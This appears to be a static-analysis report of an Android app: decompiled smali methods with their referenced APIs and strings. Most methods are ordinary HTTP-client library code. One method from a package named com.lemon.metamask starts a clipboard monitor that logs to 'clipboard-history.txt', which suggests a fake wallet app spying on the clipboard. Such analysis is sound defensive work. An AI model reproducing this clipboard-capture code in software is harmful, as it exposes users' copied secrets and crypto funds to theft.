        69new-instance v0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        70new-instance v1, Ljava/lang/StringBuilder;
        72invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        74const-string v2, "Error getting md5 message digest implementation: "
        76invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        78invoke-virtual {p1}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
        79move-result-object v2
        81invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        83invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        84move-result-object v1
        86invoke-direct {v0, v1, p1}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        87throw v0
        Cross References
        APIs
        • java.lang.System.arraycopy
        • java.util.Arrays.fill
        • java.lang.System.arraycopy
        • javax.crypto.Cipher.getInstance
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • javax.crypto.Cipher.getInstance
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • java.lang.System.arraycopy
        • java.lang.Exception.getMessage
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        Strings
        • DES/ECB/NoPadding
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        3}
        4.end annotation
        6iget-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->lanManagerSessionKey:[B
        7if-nez v0, :cond_65
        8const/16 v0, 0xe
        9try_start_6: new-array v0, v0, [B
        11invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLMHash()[B
        12move-result-object v1
        13const/16 v2, 0x8
        14const/4 v3, 0x0
        16invoke-static {v1, v3, v0, v3, v2}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        17array-length v1, v0
        18const/16 v4, -0x43
        20invoke-static {v0, v2, v1, v4}, Ljava/util/Arrays;->fill([BIIB)V
        22invoke-static {v0, v3}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$900([BI)Ljava/security/Key;
        23move-result-object v1
        24const/4 v4, 0x7
        26invoke-static {v0, v4}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->access$900([BI)Ljava/security/Key;
        27move-result-object v0
        28new-array v2, v2, [B
        30invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->getLMResponse()[B
        31move-result-object v4
        32array-length v5, v2
        34invoke-static {v4, v3, v2, v3, v5}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        36const-string v4, "DES/ECB/NoPadding"
        38invoke-static {v4}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
        39move-result-object v4
        40const/4 v5, 0x1
        42invoke-virtual {v4, v5, v1}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        44invoke-virtual {v4, v2}, Ljavax/crypto/Cipher;->doFinal([B)[B
        45move-result-object v1
        47const-string v4, "DES/ECB/NoPadding"
        49invoke-static {v4}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
        50move-result-object v4
        52invoke-virtual {v4, v5, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        54invoke-virtual {v4, v2}, Ljavax/crypto/Cipher;->doFinal([B)[B
        55move-result-object v0
        56const/16 v2, 0x10
        57new-array v2, v2, [B
        58iput-object v2, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->lanManagerSessionKey:[B
        60iget-object v2, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->lanManagerSessionKey:[B
        61array-length v4, v1
        63invoke-static {v1, v3, v2, v3, v4}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        65iget-object v2, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->lanManagerSessionKey:[B
        66array-length v1, v1
        67array-length v4, v0
        69invoke-static {v0, v3, v2, v1, v4}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        70try_end_59: goto/16 :goto_65
        71catch_5a: move-exception v0
        72new-instance v1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        74invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
        75move-result-object v2
        77invoke-direct {v1, v2, v0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        78throw v1
        79goto_65:
        80iget-object v0, p0, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl$CipherGen;->lanManagerSessionKey:[B
        81return-object v0
        Cross References
        APIs
        • java.lang.System.arraycopy
        • javax.crypto.Cipher.getInstance
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • javax.crypto.Cipher.init
        • javax.crypto.Cipher.doFinal
        • java.lang.System.arraycopy
        • java.lang.Exception.getMessage
        • cz.msebera.android.httpclient.impl.auth.NTLMEngineException.<init>
        Strings
        • DES/ECB/NoPadding
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        3}
        4.end annotation
        5const/16 v0, 0x15
        6try_start_2: new-array v0, v0, [B
        7const/16 v1, 0x10
        8const/4 v2, 0x0
        10invoke-static {p0, v2, v0, v2, v1}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        12invoke-static {v0, v2}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->createDESKey([BI)Ljava/security/Key;
        13move-result-object p0
        14const/4 v3, 0x7
        16invoke-static {v0, v3}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->createDESKey([BI)Ljava/security/Key;
        17move-result-object v3
        18const/16 v4, 0xe
        20invoke-static {v0, v4}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineImpl;->createDESKey([BI)Ljava/security/Key;
        21move-result-object v0
        23const-string v4, "DES/ECB/NoPadding"
        25invoke-static {v4}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
        26move-result-object v4
        27const/4 v5, 0x1
        29invoke-virtual {v4, v5, p0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        31invoke-virtual {v4, p1}, Ljavax/crypto/Cipher;->doFinal([B)[B
        32move-result-object p0
        34invoke-virtual {v4, v5, v3}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        36invoke-virtual {v4, p1}, Ljavax/crypto/Cipher;->doFinal([B)[B
        37move-result-object v3
        39invoke-virtual {v4, v5, v0}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
        41invoke-virtual {v4, p1}, Ljavax/crypto/Cipher;->doFinal([B)[B
        42move-result-object p1
        43const/16 v0, 0x18
        44new-array v0, v0, [B
        45const/16 v4, 0x8
        47invoke-static {p0, v2, v0, v2, v4}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        49invoke-static {v3, v2, v0, v4, v4}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        51invoke-static {p1, v2, v0, v1, v4}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        52try_end_44: return-object v0
        53catch_45: move-exception p0
        54new-instance p1, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;
        56invoke-virtual {p0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
        57move-result-object v0
        59invoke-direct {p1, v0, p0}, Lcz/msebera/android/httpclient/impl/auth/NTLMEngineException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        60throw p1
        Cross References
        APIs
        • java.net.Socket.setReuseAddress
        • java.net.Socket.bind
        • java.net.Socket.setSoTimeout
        • java.net.Socket.connect
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.conn.ConnectTimeoutException.<init>
        Strings
        • Remote address
        • HTTP parameters
        • Connect to
        • timed out
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        4}
        5.end annotation
        7const-string v0, "Remote address"
        9invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP parameters"
        13invoke-static {p4, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14if-nez p1, :cond_10
        16invoke-virtual {p0}, Lcz/msebera/android/httpclient/conn/scheme/PlainSocketFactory;->createSocket()Ljava/net/Socket;
        17move-result-object p1
        18cond_10: if-eqz p3, :cond_1c
        20invoke-static {p4}, Lcz/msebera/android/httpclient/params/HttpConnectionParams;->getSoReuseaddr(Lcz/msebera/android/httpclient/params/HttpParams;)Z
        21move-result v0
        23invoke-virtual {p1, v0}, Ljava/net/Socket;->setReuseAddress(Z)V
        25invoke-virtual {p1, p3}, Ljava/net/Socket;->bind(Ljava/net/SocketAddress;)V
        26cond_1c:
        27invoke-static {p4}, Lcz/msebera/android/httpclient/params/HttpConnectionParams;->getConnectionTimeout(Lcz/msebera/android/httpclient/params/HttpParams;)I
        28move-result p3
        30invoke-static {p4}, Lcz/msebera/android/httpclient/params/HttpConnectionParams;->getSoTimeout(Lcz/msebera/android/httpclient/params/HttpParams;)I
        31move-result p4
        32try_start_24:
        33invoke-virtual {p1, p4}, Ljava/net/Socket;->setSoTimeout(I)V
        35invoke-virtual {p1, p2, p3}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
        36try_end_2a: return-object p1
        37catch_2b: new-instance p1, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        38new-instance p3, Ljava/lang/StringBuilder;
        40invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        42const-string p4, "Connect to "
        44invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        48const-string p2, " timed out"
        50invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        53move-result-object p2
        55invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;-><init>(Ljava/lang/String;)V
        56throw p1
        Cross References
        APIs
        • java.lang.Object.getClass
        • java.lang.Class.getMethod
        • java.lang.reflect.Method.invoke
        • java.lang.IllegalAccessException.getMessage
        • java.lang.IllegalAccessError.<init>
        • java.lang.reflect.InvocationTargetException.getCause
        • java.lang.Error.<init>
        • java.lang.NoSuchMethodException.getMessage
        • java.lang.NoSuchMethodError.<init>
        • java.lang.CloneNotSupportedException.<init>
        Strings
        • clone
        • Unexpected exception
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"<T:",
        3"Ljava/lang/Object;",
        4">(TT;)TT;"
        5}
        6.end annotation
        7.annotation system Ldalvik/annotation/Throws;
        8value = {
        9Ljava/lang/CloneNotSupportedException;
        10}
        11.end annotation
        12const/4 v0, 0x0
        13if-nez p0, :cond_4
        14return-object v0
        15cond_4: instance-of v1, p0, Ljava/lang/Cloneable;
        16if-eqz v1, :cond_46
        18invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
        19move-result-object v1
        20try_start_c:
        21const-string v2, "clone"
        22move-object v3, v0
        23check-cast v3, [Ljava/lang/Class;
        25invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
        26move-result-object v1
        27try_end_15: check-cast v0, [Ljava/lang/Object;
        29invoke-virtual {v1, p0, v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        30move-result-object p0
        31try_end_1b: return-object p0
        32catch_1c: move-exception p0
        33new-instance v0, Ljava/lang/IllegalAccessError;
        35invoke-virtual {p0}, Ljava/lang/IllegalAccessException;->getMessage()Ljava/lang/String;
        36move-result-object p0
        38invoke-direct {v0, p0}, Ljava/lang/IllegalAccessError;-><init>(Ljava/lang/String;)V
        39throw v0
        40catch_27: move-exception p0
        42invoke-virtual {p0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
        43move-result-object p0
        44instance-of v0, p0, Ljava/lang/CloneNotSupportedException;
        45if-eqz v0, :cond_33
        46check-cast p0, Ljava/lang/CloneNotSupportedException;
        47throw p0
        48cond_33: new-instance v0, Ljava/lang/Error;
        50const-string v1, "Unexpected exception"
        52invoke-direct {v0, v1, p0}, Ljava/lang/Error;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        53throw v0
        54catch_3b: move-exception p0
        55new-instance v0, Ljava/lang/NoSuchMethodError;
        57invoke-virtual {p0}, Ljava/lang/NoSuchMethodException;->getMessage()Ljava/lang/String;
        58move-result-object p0
        60invoke-direct {v0, p0}, Ljava/lang/NoSuchMethodError;-><init>(Ljava/lang/String;)V
        61throw v0
        62cond_46: new-instance p0, Ljava/lang/CloneNotSupportedException;
        64invoke-direct {p0}, Ljava/lang/CloneNotSupportedException;-><init>()V
        65throw p0
        APIs
        • android.app.Service.onCreate
        • android.util.Log.d
        • com.lemon.metamask.Util.ClipboardMonitorService.getExternalFilesDir
        • java.io.File.<init>
        • com.lemon.metamask.Util.ClipboardMonitorService.getSystemService
        • android.content.ClipboardManager.addPrimaryClipChangedListener
        Strings
        • METAL
        • Started
        • clipboard-history.txt
        • clipboard
        Position Instruction Meta Information
        1invoke-super {p0}, Landroid/app/Service;->onCreate()V
        3const-string v0, "METAL"
        5const-string v1, "Started"
        7invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
        8new-instance v0, Ljava/io/File;
        9const/4 v1, 0x0
        11invoke-virtual {p0, v1}, Lcom/lemon/metamask/Util/ClipboardMonitorService;->getExternalFilesDir(Ljava/lang/String;)Ljava/io/File;
        12move-result-object v1
        14const-string v2, "clipboard-history.txt"
        16invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
        17iput-object v0, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService;->mHistoryFile:Ljava/io/File;
        19const-string v0, "clipboard"
        21invoke-virtual {p0, v0}, Lcom/lemon/metamask/Util/ClipboardMonitorService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
        22move-result-object v0
        23check-cast v0, Landroid/content/ClipboardManager;
        24iput-object v0, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService;->mClipboardManager:Landroid/content/ClipboardManager;
        26iget-object v0, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService;->mClipboardManager:Landroid/content/ClipboardManager;
        28iget-object v1, p0, Lcom/lemon/metamask/Util/ClipboardMonitorService;->mOnPrimaryClipChangedListener:Landroid/content/ClipboardManager$OnPrimaryClipChangedListener;
        30invoke-virtual {v0, v1}, Landroid/content/ClipboardManager;->addPrimaryClipChangedListener(Landroid/content/ClipboardManager$OnPrimaryClipChangedListener;)V
        31return-void
        APIs
        • java.net.Socket.bind
        • java.net.Socket.getSoTimeout
        • java.net.Socket.setSoTimeout
        • java.net.Socket.connect
        • javax.net.ssl.SSLSocket.startHandshake
        • java.net.InetSocketAddress.getPort
        • java.net.Socket.close
        Strings
        • HTTP host
        • Remote address
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;
        3}
        4.end annotation
        6const-string v0, "HTTP host"
        8invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Remote address"
        12invoke-static {p4, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13if-eqz p2, :cond_d
        14goto/16 :goto_11
        15cond_d:
        16invoke-virtual {p0, p6}, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;->createSocket(Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        17move-result-object p2
        18goto_11: if-eqz p5, :cond_16
        20invoke-virtual {p2, p5}, Ljava/net/Socket;->bind(Ljava/net/SocketAddress;)V
        21cond_16: if-lez p1, :cond_24
        22try_start_18:
        23invoke-virtual {p2}, Ljava/net/Socket;->getSoTimeout()I
        24move-result p5
        25if-nez p5, :cond_24
        27invoke-virtual {p2, p1}, Ljava/net/Socket;->setSoTimeout(I)V
        28goto/16 :goto_24
        29catch_22: move-exception p1
        30goto/16 :goto_46
        31goto_24:
        32invoke-virtual {p2, p4, p1}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
        33try_end_27: instance-of p1, p2, Ljavax/net/ssl/SSLSocket;
        34if-eqz p1, :cond_39
        35move-object p1, p2
        36check-cast p1, Ljavax/net/ssl/SSLSocket;
        38invoke-virtual {p1}, Ljavax/net/ssl/SSLSocket;->startHandshake()V
        40invoke-virtual {p3}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        41move-result-object p3
        43invoke-direct {p0, p1, p3}, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;->verifyHostname(Ljavax/net/ssl/SSLSocket;Ljava/lang/String;)V
        44return-object p2
        45cond_39:
        46invoke-virtual {p3}, Lcz/msebera/android/httpclient/HttpHost;->getHostName()Ljava/lang/String;
        47move-result-object p1
        49invoke-virtual {p4}, Ljava/net/InetSocketAddress;->getPort()I
        50move-result p3
        52invoke-virtual {p0, p2, p1, p3, p6}, Lcz/msebera/android/httpclient/conn/ssl/SSLConnectionSocketFactory;->createLayeredSocket(Ljava/net/Socket;Ljava/lang/String;ILcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/net/Socket;
        53move-result-object p1
        54return-object p1
        55goto_46:
        56invoke-virtual {p2}, Ljava/net/Socket;->close()V
        57try_end_49: throw p1
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.getBytes
        • java.lang.RuntimeException.<init>
        Strings
        • UTF-8
        • UTF-8 encoding not supported
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4sget-object v1, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
        5if-eqz v1, :cond_c
        7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        8cond_c:
        9invoke-static {}, Lcz/msebera/android/httpclient/extras/PRNGFixes;->getDeviceSerialNumber()Ljava/lang/String;
        10move-result-object v1
        11if-eqz v1, :cond_15
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14cond_15:
        15invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        16move-result-object v0
        18const-string v1, "UTF-8"
        20invoke-virtual {v0, v1}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
        21move-result-object v0
        22try_end_1f: return-object v0
        23catch_20: new-instance v0, Ljava/lang/RuntimeException;
        25const-string v1, "UTF-8 encoding not supported"
        27invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
        28throw v0
        Cross References
        APIs
        • java.net.InetAddress.getByName
        • java.net.InetAddress.getHostAddress
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • Unexpected error converting
        Position Instruction Meta Information
        0if-eqz p1, :cond_2a
        2invoke-static {p1}, Lcz/msebera/android/httpclient/conn/util/InetAddressUtils;->isIPv6Address(Ljava/lang/String;)Z
        3move-result v0
        4if-nez v0, :cond_9
        5goto/16 :goto_2a
        6try_start_9:
        7invoke-static {p1}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
        8move-result-object v0
        10invoke-virtual {v0}, Ljava/net/InetAddress;->getHostAddress()Ljava/lang/String;
        11move-result-object v0
        12try_end_11: return-object v0
        13catch_12: move-exception v0
        15iget-object v1, p0, Lcz/msebera/android/httpclient/conn/ssl/AbstractVerifier;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        16new-instance v2, Ljava/lang/StringBuilder;
        18invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        20const-string v3, "Unexpected error converting "
        22invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        26invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        27move-result-object v2
        29invoke-virtual {v1, v2, v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->error(Ljava/lang/Object;Ljava/lang/Throwable;)V
        30return-object p1
        31goto_2a: return-object p1
        Cross References
        APIs
        • java.lang.String.startsWith
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        Position Instruction Meta Information
        1sget-object v0, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
        3sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String;
        5invoke-virtual {v1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        6move-result v2
        7if-eqz v2, :cond_f
        9invoke-static {v1}, Lcom/lemon/metamask/Util/Method;->capitalize(Ljava/lang/String;)Ljava/lang/String;
        10move-result-object v0
        11return-object v0
        12cond_f: new-instance v2, Ljava/lang/StringBuilder;
        14invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        16invoke-static {v0}, Lcom/lemon/metamask/Util/Method;->capitalize(Ljava/lang/String;)Ljava/lang/String;
        17move-result-object v0
        19invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21const-string v0, " "
        23invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        25invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        28move-result-object v0
        29return-object v0
        APIs
        • java.lang.reflect.Method.invoke
        • java.lang.reflect.InvocationTargetException.getCause
        • java.lang.Throwable.getMessage
        • java.lang.RuntimeException.<init>
        • java.lang.IllegalAccessException.getMessage
        • java.lang.IllegalStateException.<init>
        Position Instruction Meta Information
        0try_start_0:
        1iget-object v0, p0, Lcz/msebera/android/httpclient/client/utils/JdkIdn;->toUnicode:Ljava/lang/reflect/Method;
        2const/4 v1, 0x0
        3const/4 v2, 0x1
        4new-array v2, v2, [Ljava/lang/Object;
        5const/4 v3, 0x0
        6aput-object p1, v2, v3
        8invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
        9move-result-object p1
        10check-cast p1, Ljava/lang/String;
        11try_end_f: return-object p1
        12catch_10: move-exception p1
        14invoke-virtual {p1}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
        15move-result-object p1
        16new-instance v0, Ljava/lang/RuntimeException;
        18invoke-virtual {p1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
        19move-result-object v1
        21invoke-direct {v0, v1, p1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        22throw v0
        23catch_1f: move-exception p1
        24new-instance v0, Ljava/lang/IllegalStateException;
        26invoke-virtual {p1}, Ljava/lang/IllegalAccessException;->getMessage()Ljava/lang/String;
        27move-result-object v1
        29invoke-direct {v0, v1, p1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        30throw v0
        Cross References
        APIs
        • java.util.Date.after
        Strings
        • Last-Modified
        • If-Modified-Since
        Position Instruction Meta Information
        1const-string v0, "Last-Modified"
        3invoke-virtual {p2, v0}, Lcz/msebera/android/httpclient/client/cache/HttpCacheEntry;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        4move-result-object p2
        5if-eqz p2, :cond_11
        7invoke-interface {p2}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        8move-result-object p2
        10invoke-static {p2}, Lcz/msebera/android/httpclient/client/utils/DateUtils;->parseDate(Ljava/lang/String;)Ljava/util/Date;
        11move-result-object p2
        12goto/16 :goto_12
        13cond_11: const/4 p2, 0x0
        14goto_12: const/4 v0, 0x0
        15if-nez p2, :cond_16
        16return v0
        17cond_16:
        18const-string v1, "If-Modified-Since"
        20invoke-interface {p1, v1}, Lcz/msebera/android/httpclient/HttpRequest;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        21move-result-object p1
        22array-length v1, p1
        23const/4 v2, 0x0
        24goto_1e: if-ge v2, v1, :cond_3c
        25aget-object v3, p1, v2
        27invoke-interface {v3}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        28move-result-object v3
        30invoke-static {v3}, Lcz/msebera/android/httpclient/client/utils/DateUtils;->parseDate(Ljava/lang/String;)Ljava/util/Date;
        31move-result-object v3
        32if-eqz v3, :cond_39
        34invoke-virtual {v3, p3}, Ljava/util/Date;->after(Ljava/util/Date;)Z
        35move-result v4
        36if-nez v4, :cond_38
        38invoke-virtual {p2, v3}, Ljava/util/Date;->after(Ljava/util/Date;)Z
        39move-result v3
        40if-eqz v3, :cond_39
        41cond_38: return v0
        42cond_39: add-int/lit8 v2, v2, 0x1
        43goto/16 :goto_1e
        44cond_3c: const/4 p1, 0x1
        45return p1
        Cross References
        APIs
        • java.lang.Class.getField
        • java.lang.reflect.Field.get
        Strings
        • SERIAL
        Position Instruction Meta Information
        0const/4 v0, 0x0
        1try_start_1: const-class v1, Landroid/os/Build;
        3const-string v2, "SERIAL"
        5invoke-virtual {v1, v2}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field;
        6move-result-object v1
        8invoke-virtual {v1, v0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
        9move-result-object v1
        10check-cast v1, Ljava/lang/String;
        11try_end_f: return-object v1
        12catch_10: return-object v0
        APIs
        • java.net.InetSocketAddress.<init>
        • java.net.InetAddress.getByName
        • java.net.InetSocketAddress.<init>
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Ljava/net/UnknownHostException;,
        4Lcz/msebera/android/httpclient/conn/ConnectTimeoutException;
        5}
        6.end annotation
        7.annotation runtime Ljava/lang/Deprecated;
        8.end annotation
        9if-nez p4, :cond_7
        10if-lez p5, :cond_5
        11goto/16 :goto_7
        12cond_5: const/4 p4, 0x0
        13goto/16 :goto_11
        14goto_7: new-instance v0, Ljava/net/InetSocketAddress;
        15if-lez p5, :cond_c
        16goto/16 :goto_d
        17cond_c: const/4 p5, 0x0
        18goto_d:
        19invoke-direct {v0, p4, p5}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        20move-object p4, v0
        21goto_11:
        22iget-object p5, p0, Lcz/msebera/android/httpclient/conn/scheme/PlainSocketFactory;->nameResolver:Lcz/msebera/android/httpclient/conn/scheme/HostNameResolver;
        23if-eqz p5, :cond_1c
        25iget-object p5, p0, Lcz/msebera/android/httpclient/conn/scheme/PlainSocketFactory;->nameResolver:Lcz/msebera/android/httpclient/conn/scheme/HostNameResolver;
        27invoke-interface {p5, p2}, Lcz/msebera/android/httpclient/conn/scheme/HostNameResolver;->resolve(Ljava/lang/String;)Ljava/net/InetAddress;
        28move-result-object p2
        29goto/16 :goto_20
        30cond_1c:
        31invoke-static {p2}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
        32move-result-object p2
        33goto_20: new-instance p5, Ljava/net/InetSocketAddress;
        35invoke-direct {p5, p2, p3}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
        37invoke-virtual {p0, p1, p5, p4, p6}, Lcz/msebera/android/httpclient/conn/scheme/PlainSocketFactory;->connectSocket(Ljava/net/Socket;Ljava/net/InetSocketAddress;Ljava/net/InetSocketAddress;Lcz/msebera/android/httpclient/params/HttpParams;)Ljava/net/Socket;
        38move-result-object p1
        39return-object p1
        APIs
        • java.net.InetSocketAddress.<init>
        • java.net.InetAddress.getByName
